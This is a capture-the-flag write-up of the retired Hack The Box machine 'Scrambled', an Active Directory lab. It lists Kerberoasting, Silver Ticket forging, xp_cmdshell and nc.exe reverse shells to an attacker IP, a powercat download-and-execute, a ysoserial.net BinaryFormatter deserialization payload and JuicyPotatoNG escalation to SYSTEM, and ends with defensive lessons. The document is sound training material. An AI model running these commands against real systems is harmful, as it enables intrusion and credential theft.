



RETIRED MACHINE

Scrambled



WINDOWS



MEDIUM

RETIRED MACHINE

Scrambled

Machine Writeup · Hack The Box

4.4 ★

RATING

Medium

DIFFICULTY

Windows

OS

6,842

USER OWNS

6,219

SYSTEM OWNS

30

POINTS

MACHINE SYNOPSIS

Scrambled is a Medium Windows Active Directory machine with NTLM authentication completely disabled — every operation must use Kerberos. The website on port 80 reveals username 'ksimpson' and hints that passwords may match usernames. kerbrute validates 5 domain users; ksimpson:ksimpson succeeds. GetUserSPNs Kerberoasts sqlsvc's TGS hash (cracked: Pegasus60). NTLM-auth to MSSQL fails — a Silver Ticket is forged using the sqlsvc NTLM hash and domain SID, granting MSSQL access as administrator. xp_cmdshell downloads nc.exe and sends a reverse shell as sqlsvc (SelpersonatePrivilege). The IT share contains ScrambleClient.exe and ScrambleLib.dll — the app behind port 4411. dnSpy decompilation reveals UPLOAD_ORDER triggers .NET BinaryFormatter deserialization. ysoserial.net generates a WindowsIdentity gadget payload executing as MiscSvc. Sending the base64 payload via UPLOAD_ORDER; to port 4411 gives a shell as miscsvc and the user flag. JuicyPotatoNG exploits SelpersonatePrivilege → NT AUTHORITY\SYSTEM and the root flag.

CONTENTS

01 Reconnaissance — NTLM Disabled, Port 4411

02 Web Enum → ksimpson, kerbrute, Kerberoast sqlsvc

03 Silver Ticket Attack → MSSQL as Administrator

04 xp_cmdshell → Reverse Shell as sqlsvc

05 SMB IT Share — ScrambleClient.exe + ScrambleLib.dll	06 dnSpy RE — Port 4411 .NET Deserialization (UPLOAD_ORDER)
07 ysoserial.net → MiscSvc Shell + User Flag	08 JuicyPotatoNG → NT AUTHORITY\SYSTEM + Root Flag
09 Lessons Learned	



Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance — NTLM Disabled, Port 4411

TTL 127 confirms Windows. Nmap reveals a full AD DC stack plus two critical extras: **MSSQL (1433)** and the unusual **port 4411** responding with SCRAMBLECORP_ORDERS_V1.0.3; — a custom .NET sales orders application. Domain is **scrm.local**, hostname **DC1**, Windows Server 2019 Build 17763. Clock-skew is only 4 seconds. **NTLM is completely disabled** on this DC — all NetExec/impacket operations must use Kerberos (-k flag). SMB Guest access is blocked. The website on port 80 is the key starting point.

NMAP — PORT 4411 CUSTOM APP + MSSQL + AD STACK

nmap — scrm.local DC1, port 4411 SCRAMBLECORP_ORDERS, NTLM disabled

```
$ ping -c 1 10.129.9.171 # TTL 127 -> Windows
$ nmap -Pn -n --open -p- --min-rate 5000 10.129.9.171
[*] Open ports: 53,80,88,135,139,389,445,636,1433,3268,3269,4411,5985,...

80/tcp    open  http      Microsoft IIS httpd 10.0
88/tcp    open  kerberos  Microsoft Windows Kerberos
389/tcp   open  ldap      (Domain: scrm.local) commonName=DC1.scrm.local
1433/tcp  open  mssql     Microsoft SQL Server 2019 (15.0.2000)
4411/tcp  open  found?
| NULL: SCRAMBLECORP_ORDERS_V1.0.3; <- custom .NET app!
| GetRequest: SCRAMBLECORP_ORDERS_V1.0.3;
|_ GetRequest: ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http      HTTPAPI 2.0 <- WinRM

# NTLM DISABLED -> all auth must use Kerberos!
# /etc/hosts: 10.129.9.171 dc1.scrm.local scrm.local scrm
```

NOTE

NTLM being disabled means NetExec -u guest -p " will fail, and all MSSQL authentication must go through Kerberos. This prevents hash-based attacks like Pass-the-Hash and NTLMv2 capture via Responder — but Silver Ticket attacks (which forge Kerberos service tickets locally) still work since they only require the service account's NTLM hash, not a live NTLM connection.

02

Web Enum → ksimpson, kerbrute Enum, Kerberoast sqlsvc

The website at <http://scrm.local> reveals several pages. The **/passwords.html** page explicitly warns: *'Due to a recent security breach, all passwords have been reset to the username. All users are required to change their password immediately.'* The IT Services page shows a screenshot of the sales orders app, revealing the logged-in username: **ksimpson**. kerbrute validates 5 domain usernames from a surnames list (ASMITH, JHALL, KSIMPSON, KHICKS, SJENKINS). kerbrute bruteuser with username=password confirms **ksimpson:ksimpson**. Kerberoasting with getTGT + GetUserSPNs yields the **sqlsvc TGS hash** (MSSQLSvc/dc1.scrm.local), cracked by john in 7 seconds: **Pegasus60**.

WEBSITE — PASSWORD RESET HINT + USERNAME LEAK

website — password reset policy + ksimpson username leak

```
# http://scrm.local/passwords.html:
"Due to a recent security breach, all passwords have been reset
to the username. All users are required to change their
password immediately."

# IT Services page shows app screenshot with:
# Logged in as: ksimpson <- username leaked in screenshot!

# kerbrute validate ksimpson with username=password:
$ kerbrute bruteuser -d scrm.local --dc 10.129.9.171 users ksimpson
[+] VALID LOGIN: ksimpson@scrm.local:ksimpson
```

KERBRUTE + KERBEROAST → sqlsvc HASH

kerbrute + Kerberoast — sqlsvc TGS hash via ksimpson:ksimpson

```
# Enumerate all users (A-Z surnames wordlist):
$ kerbrute userenum -d scrm.local --dc 10.129.9.171 A-ZSurnames.txt
[+] VALID USERNAME: ASMITH@scrm.local
[+] VALID USERNAME: JHALL@scrm.local
[+] VALID USERNAME: KSIMPSON@scrm.local
[+] VALID USERNAME: KHICKS@scrm.local
[+] VALID USERNAME: SJENKINS@scrm.local

# Get TGT for ksimpson (Kerberos-only env):
$ impacket-getTGT 'scrm.local/ksimpson:ksimpson'
$ export KRB5CCNAME=ksimpson.ccache

# Kerberoast with Kerberos auth (-k -no-pass):
$ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson \
  -dc-host dc1.scrm.local -k -no-pass -request
ServicePrincipalName      Name      PasswordLastSet
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 17:32:02
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$66ff2273...
```

JOHN — CRACK KERBEROAST HASH → Pegasus60

john — sqlsvc Kerberoast hash cracked: Pegasus60 in 7 seconds

```
$ john -w:/usr/share/wordlists/rockyou.txt sql_svc_hash
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23)

Pegasus60      (?)
1g 0:00:00:07 DONE -- 0.1426g/s 1530Kp/s

# Credentials: sqlsvc : Pegasus60
# NTLM hash of Pegasus60:
# B999A16500B87D17EC7F2E2A68778F05

# MSSQL with password fails (NTLM disabled):
$ impacket-mssqlclient sqlsvc:Pegasus60@scrm.local
[-] ERROR(DC1): Line 1: Login failed for user 'sqlsvc'.
# -> Need Silver Ticket attack instead!
```

03

Silver Ticket Attack → MSSQL as Administrator

Since NTLM is disabled, direct MSSQL authentication with credentials fails. A **Silver Ticket** is a forged Kerberos service ticket that bypasses the KDC entirely — it is signed with the service account's NTLM hash alone. Three ingredients are needed: (1) sqlsvc NTLM hash (derived from Pegasus60: **B999A16500B87D17EC7F2E2A68778F05**), (2) domain SID (obtained via getPAC.py: **S-1-5-21-2743207045-1827831105-2542523200**), (3) SPN (MSSQLSvc/dc1.scrm.local). `impacket-ticketer` forges a ticket as **administrator** — the Silver Ticket tells MSSQL that administrator authenticated, granting sysadmin access.

GET NTLM HASH + DOMAIN SID

NTLM hash + domain SID — inputs for Silver Ticket forging

```
# Convert Pegasus60 to NTLM hash:
# python3 -c "import hashlib; print(hashlib.new('md4', 'Pegasus60'.encode('utf-16le')).hexdigest())"
# B999A16500B87D17EC7F2E2A68778F05

# Get domain SID via getPAC.py:
$ python3 getPAC.py -targetUser administrator 'scrm.local/sqlsvc:Pegasus60'
SID: S-1-5-21-2743207045-1827831105-2542523200
```

IMPACKET-TICKETER — FORGE SILVER TICKET

impacket-ticketer — Silver Ticket forged as administrator for MSSQLSvc

```
$ impacket-ticketer \
  -nthash B999A16500B87D17EC7F2E2A68778F05 \
  -domain-sid S-1-5-21-2743207045-1827831105-2542523200 \
  -domain scrm.local \
  -spn MSSQLSvc/dc1.scrm.local \
  administrator

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/administrator
[*] Signing/Encrypting final ticket
[*] Saving ticket in administrator.ccache

$ export KRB5CCNAME=administrator.ccache
```

MSSQL ACCESS — SYSTEM ADMIN AS administrator

Silver Ticket MSSQL — logged in as SCRMLadministrator (dbo@master)

```

$ impacket-mssqlclient dc1.scrm.local -k
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)

SQL (SCRMLadministrator dbo@master)>

# Confirm sysadmin access:
SQL (SCRMLadministrator dbo@master)> xp_cmdshell whoami
output
-----
scrm\sqlsvc <- executes as sqlsvc service account

# MSSQL running as sqlsvc -> has SeImpersonatePrivilege

```

NOTE

A Silver Ticket is a forged TGS (service ticket) encrypted with the service account's NTLM hash. It bypasses the KDC entirely — MSSQL validates the ticket locally using the sqlsvc key. The ticket claims administrator identity in the PAC which MSSQL trusts, granting sysadmin access. Silver Tickets work even when NTLM is disabled because they are Kerberos tickets — not NTLM credentials.

04

xp_cmdshell → Reverse Shell as sqlsvc

With sysadmin access via the Silver Ticket, **xp_cmdshell** is available. curl downloads nc.exe from the attacker's HTTP server to C:\Temp\nc.exe. A second xp_cmdshell command executes the reverse shell back to the attacker on port 443. The shell lands as **scrm\sqlsvc** with **SeImpersonatePrivilege** — the foundation for JuicyPotatoNG escalation. Before that, the miscsvc path must be explored via the port 4411 application.

xp_cmdshell — DOWNLOAD nc.exe + REVERSE SHELL

xp_cmdshell — nc.exe reverse shell as scrm\sqlsvc + SeImpersonatePrivilege

```

# Download nc.exe from attacker HTTP server:
SQL (SCRMLadministrator dbo@master)> xp_cmdshell \
    "curl 10.10.14.91:8008/nc.exe -o C:\Temp\nc.exe"

# Trigger reverse shell:
SQL (SCRMLadministrator dbo@master)> xp_cmdshell \
    "C:\Temp\nc.exe -e cmd 10.10.14.91 443"

$ rlwrap nc -lvnp 443
connect to [10.10.14.91] from UNKNOWN [10.129.9.171] 63582
C:\Windows\system32> whoami
scrm\sqlsvc

C:\Windows\system32> whoami /priv
SeImpersonatePrivilege Impersonate a client after authentication Enabled

```

05

SMB IT Share — ScrambleClient.exe + ScrambleLib.dll

As sqlsvc (or using ksimpson Kerberos), the **IT share** is accessible and contains the sales orders client at C:\Shares\IT\Apps\Sales Order Client\ **ScrambleClient.exe** and **ScrambleLib.dll**. These are the client and library for the application running on port 4411. powercat (or SMB copy) transfers both files to the attacker machine for reverse engineering. dnSpy decompiles the .NET DLL to reveal the protocol commands and the critical deserialization vulnerability.

SMB IT SHARE — ENUMERATE + DOWNLOAD CLIENT APP

IT share — ScrambleClient.exe + ScrambleLib.dll downloaded for RE

```
# Access IT share as ksimpson (Kerberos):
$ python3 smbclient.py scrm.local/ksimpson:ksimpson@dc1.scrm.local -k
# shares: ADMIN$, C$, HR, IPC$, IT, NETLOGON, Public, Sales, SYSVOL

# From sqlsvc reverse shell (access to IT share):
C:\Shares\IT\Apps\Sales Order Client> dir
    ScrambleClient.exe
    ScrambleLib.dll

# Transfer via powercat or SMB:
C:\> curl http://10.10.14.91:8008/powercat.ps1 | IEX
C:\> powercat -c 10.10.14.91 -p 4444 -i ScrambleLib.dll
C:\> powercat -c 10.10.14.91 -p 4444 -i ScrambleClient.exe
```

06

dnSpy RE — Port 4411 .NET Deserialization (UPLOAD_ORDER)

dnSpy (or ILSpy/AvaloniaILSpy) decompiles ScrambleLib.dll. Key findings in the **ScrambleLib.ScrambleNetClient** class: port 4411 server supports commands LOGON, LIST_ORDERS, UPLOAD_ORDER, and QUIT. The **UploadOrder** function sends base64-encoded data with the UPLOAD_ORDER; command prefix. The server-side **GetOrders** deserializes the received data using **.NET's BinaryFormatter** — a known insecure deserializer. LIST_ORDERS returns base64-encoded serialized objects. BinaryFormatter deserialization with attacker-controlled data enables Remote Code Execution via gadget chains.

dnSpy — SCRAMBLELIB.DLL DECOMPILED: UPLOAD_ORDER + BinaryFormatter

dnSpy — ScrambleLib.dll BinaryFormatter deserialization in UPLOAD_ORDER

```
# Key code in ScrambleLib.ScrambleNetClient (decompiled C#):

public static string ServerPort = "4411";

// UploadOrder: sends base64-encoded data with UPLOAD_ORDER; prefix
public void UploadOrder(SalesOrder order) {
    string b64 = Convert.ToBase64String(
        new BinaryFormatter().Serialize(order)); // <- BinaryFormatter!
    this.SendMessage("UPLOAD_ORDER;" + b64);
}

// Server-side GetOrders: DESERIALIZES the data with BinaryFormatter
public List<SalesOrder> GetOrders(string base64Data) {
    return (List<SalesOrder>)new BinaryFormatter().Deserialize(
        new MemoryStream(Convert.FromBase64String(base64Data)));
}

# BinaryFormatter.Deserialize on attacker data -> RCE!
# Use ysoserial.net with WindowsIdentity gadget + BinaryFormatter format
```

NOTE

.NET's BinaryFormatter is a known-dangerous deserializer — Microsoft deprecated it in .NET 5 and removed it in .NET 9. It can deserialize arbitrary .NET objects including gadget chains that execute OS commands. The WindowsIdentity gadget in ysoserial.net exploits BinaryFormatter to execute code during the deserialization process. Always use safer alternatives like System.Text.Json for data interchange.

07**ysoserial.net → MiscSvc Shell + User Flag**

The service on port 4411 runs as **MiscSvc** — a domain account with access to additional SMB shares and the user flag. **ysoserial.net** generates a BinaryFormatter exploit payload using the WindowsIdentity gadget chain, executing a .bat file (to avoid PowerShell execution policy issues) that downloads nc.exe and sends a reverse shell. The payload is sent via nc dc1.scrm.local 4411 with the UPLOAD_ORDER; prefix followed by the base64 payload. A shell is received as **scrm\miscsvc** and the user flag is on the Desktop.

YSOSERIAL.NET — GENERATE BinaryFormatter PAYLOAD

ysoserial.net — WindowsIdentity gadget chain BinaryFormatter payload

```

# On Windows (or via Wine on Linux):
# First create rev.bat to execute when deserialized:
# Content: C:\Temp\nc.exe -e cmd 10.10.14.91 4444

# Generate payload with ysoserial.net:
> ysoserial.exe \
  -f BinaryFormatter \
  -g WindowsIdentity \
  -o base64 \
  -c "C:\Users\MiscSvc\Documents\rev.bat"

# Output: base64 BinaryFormatter gadget payload (long string)
AAEAAAD////////AQAAAAAAAAAAEAQAAACLTExN0ZW0uU2VjdXJpdHku...
```

SEND PAYLOAD → PORT 4411 → miscsvc SHELL

UPLOAD_ORDER deserialization → miscsvc shell, user flag obtained

```

# Connect to port 4411 and send the UPLOAD_ORDER payload:
$ nc dc1.scrm.local 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD////////AQAAAAAAAAAAEAQAAACLTExN0ZW0uU2VjdXJpdHku...

# Or in one command:
$ echo -e "UPLOAD_ORDER;AAEAAAD..." | nc dc1.scrm.local 4411

# Listener receives connection:
$ rlwrap nc -lnp 4444
connect to [10.10.14.91] from UNKNOWN [10.129.9.171]
C:\Windows\system32> whoami
scrm\miscsvc

C:\Users\miscsvc\Desktop> type user.txt
79ef1d1f61f4bbf0f4e63f94*****
```

08

JuicyPotatoNG → NT AUTHORITY\SYSTEM + Root Flag

From the sqlsvc reverse shell (obtained via `xp_cmdshell`), **SeImpersonatePrivilege** is enabled. **JuicyPotatoNG** abuses this privilege to impersonate a higher-privileged token (SYSTEM) by creating a COM server that accepts a privileged connection and executes an arbitrary command. `curl` downloads `JuicyPotatoNG.exe` to `C:\ProgramData\`, then `-t *` (try all token impersonation methods) with `nc.exe` as the payload delivers NT AUTHORITY\SYSTEM. Both `user.txt` (on `miscsvc` Desktop) and `root.txt` (Administrator Desktop) are readable from the SYSTEM shell.

JUICYPOTATONG — SeImpersonatePrivilege → SYSTEM

JuicyPotatoNG — SYSTEM shell, user flag + root flag obtained

```

# From sqlsvc reverse shell (SeImpersonatePrivilege enabled):
C:\ProgramData> curl http://10.10.14.91:8008/JuicyPotatoNG.exe -o JuicyPotatoNG.exe

C:\ProgramData> .\JuicyPotatoNG.exe -t * \
    -p C:\Windows\System32\cmd.exe \
    -a "/c C:\Temp\nc.exe -e cmd 10.10.14.91 443"

# Listener receives SYSTEM shell:
$ rlwrap nc -lvp 443
connect to [10.10.14.91] from UNKNOWN [10.129.9.171]
C:\> whoami
nt authority\system

C:\Users\miscsvc\Desktop> type user.txt
79ef1d1f61f4bbf0f4e63f94*****

C:\Users\administrator\Desktop> type root.txt
263a2b6d59065e05696e95e6*****

# MACHINE COMPROMISED — Silver Ticket -> xp_cmdshell -> JuicyPotatoNG -> SYSTEM

```

NOTE

JuicyPotatoNG exploits SeImpersonatePrivilege by creating a local COM server that triggers a privileged Windows service to connect. The impersonated token runs the specified command as SYSTEM. The -t * flag tries all available impersonation methods (CreateProcessWithTokenW, ImpersonateNamedPipeClient, etc). SeImpersonatePrivilege is held by most service accounts (IIS, MSSQL, NETWORK SERVICE) and should be considered a direct SYSTEM escalation path.

09**Lessons Learned****01****Disabling NTLM Does Not Prevent All Credential Attacks**

Scrambled had NTLM completely disabled, blocking Pass-the-Hash and NTLMv2 capture. However, Kerberoasting still works (TGS requests are Kerberos-based), and Silver Ticket attacks bypass the KDC entirely using only the service account hash. Disabling NTLM hardens an environment but does not eliminate Kerberos-based attacks. Pair NTLM disablement with strong service account passwords (25+ chars, random) to resist Kerberoast offline cracking.

02**Silver Ticket Attacks Forge Service Tickets Without KDC Interaction**

A Silver Ticket requires only the service account's NTLM hash and domain SID — both derivable from a cracked Kerberoast hash. The ticket is accepted by MSSQL without contacting the KDC, making it invisible to most SIEM rules that monitor Kerberos TGT requests. Use Protected Users group for privileged accounts (enforces AES-only encryption, blocks Silver Tickets) and audit service accounts for weak passwords regularly.

03

Website Content Disclosures Enable User Enumeration and Credential Attacks

The `/passwords.html` page disclosed the password reset policy (`username=password`) and an IT page screenshot leaked the logged-in username. These two pieces of information were sufficient to enumerate 5 valid accounts and authenticate as `ksimpson`. Remove screenshots of internal tools from public websites and implement a mandatory password change policy that enforces complexity and uniqueness.

04

.NET BinaryFormatter Deserialization Enables Arbitrary Code Execution

`ScrambleLib.dll` used `BinaryFormatter.Deserialize` on network-received data — the most dangerous .NET deserialization pattern. `ysoserial.net` exploited this with the `WindowsIdentity` gadget to execute OS commands as `MiscSvc`. `BinaryFormatter` was deprecated in .NET 5 and removed in .NET 9. Migrate to `System.Text.Json` or XML serialization with strict type allowlisting. Never deserialize untrusted data with `BinaryFormatter` regardless of the context.

05

SelImpersonatePrivilege on Service Accounts Is a Direct SYSTEM Escalation

`sqlsvc` had `SelImpersonatePrivilege` — a privilege held by most Windows service accounts and exploitable with `JuicyPotatoNG`, `PrintSpoofer`, or similar tools. Run SQL Server under a dedicated low-privilege gMSA account, or configure it to run without `SelImpersonatePrivilege` using Windows Token Access Policies. Monitor for unusual COM server creation (Event ID 10016) and PowerShell script execution from service account contexts.

Writeup authored by Marti Hervas · Hack The Box · Scrambled Machine · 2026